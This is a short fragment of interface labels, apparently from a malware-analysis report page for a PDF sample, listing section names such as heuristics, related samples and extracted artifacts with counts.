PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2